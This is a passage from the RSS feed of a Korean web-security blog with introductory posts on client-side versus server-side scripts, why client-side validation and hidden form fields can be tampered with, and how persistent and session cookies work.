&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqki4d/btsKH2GdufC/hTao7yLEh1ky8DNaeCCaJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqki4d/btsKH2GdufC/hTao7yLEh1ky8DNaeCCaJk/img.png&quot; data-alt=&quot;그림18 - 데이터베이스 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqki4d/btsKH2GdufC/hTao7yLEh1ky8DNaeCCaJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbqki4d%2FbtsKH2GdufC%2FhTao7yLEh1ky8DNaeCCaJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1146&quot; height=&quot;440&quot; data-origin-width=&quot;1146&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림18 - 데이터베이스 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Server Side와 Client Side에 대한 이해&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 구조는 크게 Server Side와 Client Side로 나눌 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Client-Side Script = 웹 클라이언트에서 해석되는 스크립트(언어) &amp;rarr; HTML, CSS, JavaScript&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Server-Side Script = 웹 어플리케이션 서버에서 해석되는 스크립트(언어) &amp;rarr; PHP, JSP, ASP /.NET&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 어플리케이션 서버에 따라 해석할 수 있는 언어가 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tomcat의 경우 JSP 해석이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;616&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMRwlY/btsKHPf4Q8C/8K0ajs1MxHrCrIkUvyQjTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMRwlY/btsKHPf4Q8C/8K0ajs1MxHrCrIkUvyQjTK/img.png&quot; data-alt=&quot;그림19 - Client-Side와 Server-Side&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMRwlY/btsKHPf4Q8C/8K0ajs1MxHrCrIkUvyQjTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMRwlY%2FbtsKHPf4Q8C%2F8K0ajs1MxHrCrIkUvyQjTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;782&quot; height=&quot;616&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;616&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림19 - Client-Side와 Server-Side&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Client-Side Script 기반 보안 검증이 안전하지 않은 이유&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 측에서 보안 검증 절차가 구현 되어있다 하더라도 서버 측 보안 검증 로직을 반드시 구현해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 프록시 도구와 개발자 도구를 통해 Client-Side Script 조작 및 값 변조가 가능하기 때문에 사실상 검증 자체가 무의미하다. 뿐만 아니라 input 태그의 hidden 타입의 전송도 웹 프록시 도구 혹은 개발자 도구로 확인 할 수 있으며, 변조가 가능하기 때문에 해당 값을 신뢰해서는 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 측 보안 검증 절차 = JavaScript에 의한 구현 = 웹 프록시 도구로 변조 가능&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1047&quot; data-origin-height=&quot;329&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bp9r2O/btsKHPtG4YE/oocWoCpdlBWUto1en0jIKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bp9r2O/btsKHPtG4YE/oocWoCpdlBWUto1en0jIKk/img.png&quot; data-alt=&quot;그림20 - Client-Side Script 기반 보안 검증이 안전하지 않은 이유&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp9r2O/btsKHPtG4YE/oocWoCpdlBWUto1en0jIKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbp9r2O%2FbtsKHPtG4YE%2FoocWoCpdlBWUto1en0jIKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1047&quot; height=&quot;329&quot; data-origin-width=&quot;1047&quot; data-origin-height=&quot;329&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림20 - Client-Side Script 기반 보안 검증이 안전하지 않은 이유&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;input 태그의 hidden 타입은 게시글 번호를 사용자에게 굳이 출력하지 않아도 되는 경우에 사용한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사용자 정보 수정 페이지 등 중요한 기능에 input 태그의 hidden 타입으로 전송하게 되면 웹 프록시 도구에 의해 노출되기 때문에 값이 변조될 수 있으므로, 세션과 암호화된 쿠키를 사용하여 사용자 인증을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9-%EA%B8%B0%EC%88%A0-%EA%B8%B0%EC%B4%88&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>웹 해킹/웹 기초 지식</category>
      <category>AJAX</category>
      <category>WAS</category>
      <category>아키텍처</category>
      <category>웹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/197</guid>
      <comments>https://it-log.tistory.com/197#entry197comment</comments>
      <pubDate>Thu, 14 Nov 2024 22:00:14 +0900</pubDate>
    </item>
    <item>
      <title>쿠키와 세션</title>
      <link>https://it-log.tistory.com/196</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;상태 유지 및 관리의 필요성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초의 웹은 단순히 문서를 전달 받고 정보를 공유하는 목적으로 사용되었으며, 이 경우에는 상태 유지 및 관리가 굳이 필요하지 않다. 그러나 오늘날의 웹은 쇼핑몰에서 원하는 상품을 장바구니 혹은 카트에 담고 쇼핑이 완료되면 결제하고 결제가 완료되면 정상적으로 결제가 되었는지 확인을 하며, 예상 도착일을 본다. 또한 한번의 로그인을 통해 다른 페이지 접근 시 나에 대한 상태 정보가 유지 된다. 이러한 상태 유지 및 관리를 위해서는 쿠키가 사용된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k7wbC/btsKB70awHo/YuK6OcQX3lcEaqwoQtdv3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k7wbC/btsKB70awHo/YuK6OcQX3lcEaqwoQtdv3k/img.png&quot; data-alt=&quot;그림1 - 쿠키 사용 목적&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k7wbC/btsKB70awHo/YuK6OcQX3lcEaqwoQtdv3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk7wbC%2FbtsKB70awHo%2FYuK6OcQX3lcEaqwoQtdv3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;248&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;248&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 쿠키 사용 목적&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;쿠키&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키를 통해 사용자 식별 및 세션 유지를 통해 클라이언트와 서버 간의 상태 관리를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹의 중요한 기술중의 하나로 현재 가장 많이 사용되고 있는 인증 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키의 종류는 지속 쿠키, 세션 쿠키가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키 &amp;rarr; 지속 쿠키(Persistent Cookie)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 &amp;rarr; 세션 쿠키(Session Cookie)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bosOPI/btsKALdQCqh/4wpy8kWCkDuRmGT5q92rTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bosOPI/btsKALdQCqh/4wpy8kWCkDuRmGT5q92rTk/img.png&quot; data-alt=&quot;그림2 - 쿠키의 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bosOPI/btsKALdQCqh/4wpy8kWCkDuRmGT5q92rTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbosOPI%2FbtsKALdQCqh%2F4wpy8kWCkDuRmGT5q92rTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;302&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 쿠키의 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;쿠키 헤더 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 클라이언트로 쿠키 발급 시 Set-Cookie 헤더에 의해 클라이언트 쿠키 값이 세팅되며, 해당 사이트 접근 시 마다 클라이언트는 Set-Cookie에 의해 세팅된 값을 Cookie 헤더에 세팅하여 요청 메시지를 전달한다. 서버는 이를 통해 상태 관리를 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;808&quot; data-origin-height=&quot;322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/15Otq/btsKB4pYKPo/lsFfvciFwGaBFnvCu9bXBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/15Otq/btsKB4pYKPo/lsFfvciFwGaBFnvCu9bXBK/img.png&quot; data-alt=&quot;그림3 - 쿠키 헤더 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/15Otq/btsKB4pYKPo/lsFfvciFwGaBFnvCu9bXBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F15Otq%2FbtsKB4pYKPo%2FlsFfvciFwGaBFnvCu9bXBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;808&quot; height=&quot;322&quot; data-origin-width=&quot;808&quot; data-origin-height=&quot;322&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 쿠키 헤더 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;지속 쿠키(Persistent Cookie)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지속 쿠키는 웹 서버에서 발급 시 클라이언트 하드 디스크에 텍스트 형태로 저장이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트 PC 사용자들은 해당 쿠키 정보를 열람할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안에 취약하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rLaCt/btsKA7gIrHP/3aEPK6JkveKAAY34qykErk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rLaCt/btsKA7gIrHP/3aEPK6JkveKAAY34qykErk/img.png&quot; data-alt=&quot;그림4 - 지속 쿠키를 통한 통신&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rLaCt/btsKA7gIrHP/3aEPK6JkveKAAY34qykErk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrLaCt%2FbtsKA7gIrHP%2F3aEPK6JkveKAAY34qykErk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;757&quot; height=&quot;395&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 지속 쿠키를 통한 통신&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;지속 쿠키(Persistent Cookie) - 쿠키 발급 과정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 지속 쿠키를 기반으로 된 로그인 기능이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트 &amp;rarr; 서버 = 로그인 시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 서버 &amp;rarr; 클라이언트 = 응답값 전송, Set-Cookie 세팅, 클라이언트는 해당 사이트에 대한 쿠키값 세팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 클라이언트 &amp;rarr; 서버 = Cookie 헤더에 의해 사용자 식별됨, 로그인 계정 지속 유지&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;547&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zLfCN/btsKCjAr471/cxwAWWSIcKNIHChK9RVUA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zLfCN/btsKCjAr471/cxwAWWSIcKNIHChK9RVUA0/img.png&quot; data-alt=&quot;그림5 - 지속 쿠키를 기반으로 한 로그인 기능(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zLfCN/btsKCjAr471/cxwAWWSIcKNIHChK9RVUA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzLfCN%2FbtsKCjAr471%2FcxwAWWSIcKNIHChK9RVUA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;547&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;547&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 지속 쿠키를 기반으로 한 로그인 기능(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOZ81E/btsKCm4JRGn/vae9u5jDhsueQz9pkv02kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOZ81E/btsKCm4JRGn/vae9u5jDhsueQz9pkv02kK/img.png&quot; data-alt=&quot;그림6 - 지속 쿠키를 기반으로 한 로그인 기능(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOZ81E/btsKCm4JRGn/vae9u5jDhsueQz9pkv02kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOZ81E%2FbtsKCm4JRGn%2Fvae9u5jDhsueQz9pkv02kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;406&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 지속 쿠키를 기반으로 한 로그인 기능(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;683&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/niqbZ/btsKBIOgixm/eVeX6kmqMRMvUhsfKfK7nK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/niqbZ/btsKBIOgixm/eVeX6kmqMRMvUhsfKfK7nK/img.png&quot; data-alt=&quot;그림7 - 지속 쿠키를 기반으로 한 로그인 기능(3)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/niqbZ/btsKBIOgixm/eVeX6kmqMRMvUhsfKfK7nK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FniqbZ%2FbtsKBIOgixm%2FeVeX6kmqMRMvUhsfKfK7nK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1161&quot; height=&quot;683&quot; data-origin-width=&quot;1161&quot; data-origin-height=&quot;683&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - 지속 쿠키를 기반으로 한 로그인 기능(3)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;지속 쿠키(Persistent Cookie) - 쿠키 폐기 과정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키에 대한 폐기 과정은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 클라이언트 &amp;rarr; 서버 = 로그아웃 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 서버 &amp;rarr; 클라이언트 = Set-Cookie의 삭제시킬 id전송, 클라이언트에서 해당 사이트에 대한 쿠키값이 삭제된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;687&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFT58X/btsKCoaq9G5/v1vjcXS9xUIfLRQ4eoG2I1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFT58X/btsKCoaq9G5/v1vjcXS9xUIfLRQ4eoG2I1/img.png&quot; data-alt=&quot;그림8 - 지속 쿠키를 기반으로 한 로그아웃 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFT58X/btsKCoaq9G5/v1vjcXS9xUIfLRQ4eoG2I1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFT58X%2FbtsKCoaq9G5%2Fv1vjcXS9xUIfLRQ4eoG2I1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1182&quot; height=&quot;687&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;687&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - 지속 쿠키를 기반으로 한 로그아웃 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;지속 쿠키(Persistent Cookie) - 문제점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키를 폐기하여도 해당 값을 알고 있으면 재사용이 가능한 문제점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 폐기 후에도 재사용이 가능하다는 것이다. 또한 쿠키 값이 평문일 경우 변조의 위험이 있기 때문에 사용자 식별 및 인증 관리를 할 경우 반드시 암호화 과정을 거쳐야 한다. 또한 쿠키의 유효기간에 따른 폐기 방법, 암호화 알고리즘에 대한 적절성 등을 잘 검토하여 쿠키 발급 로직을 구현해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;509&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VZiQ4/btsKBdOt7ko/prYLCdD2n0fDnwpkrj7uAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VZiQ4/btsKBdOt7ko/prYLCdD2n0fDnwpkrj7uAk/img.png&quot; data-alt=&quot;그림9 - 지속 쿠키의 문제점&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VZiQ4/btsKBdOt7ko/prYLCdD2n0fDnwpkrj7uAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVZiQ4%2FbtsKBdOt7ko%2FprYLCdD2n0fDnwpkrj7uAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1129&quot; height=&quot;509&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;509&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - 지속 쿠키의 문제점&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;세션 쿠키(Session Cookie)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 쿠키는 웹 서버에서 발급 시 클라이언트 웹 브라우저 캐시에 저장되며, 정상적으로 로그인 시 웹 어플리케이션 서버는 서버 측에 해당 세션에 대한 정보를 저장한다. 이때 서버에서 세션을 저장하는 방법으로 메모리, 파일 시스템, 데이터베이스에 저장하는 방법들이 있으며, 일반적으로 메모리에 저장해 둔다. 그리고 세션은 문자가 암호화, 난독화 되어 있는 형태가 아닌 임의의 문자들이 무작위로 나열된 것으로 공격자 측에서는 특정 사용자의 세션을 추측하기는 어렵다.&lt;/p&gt;
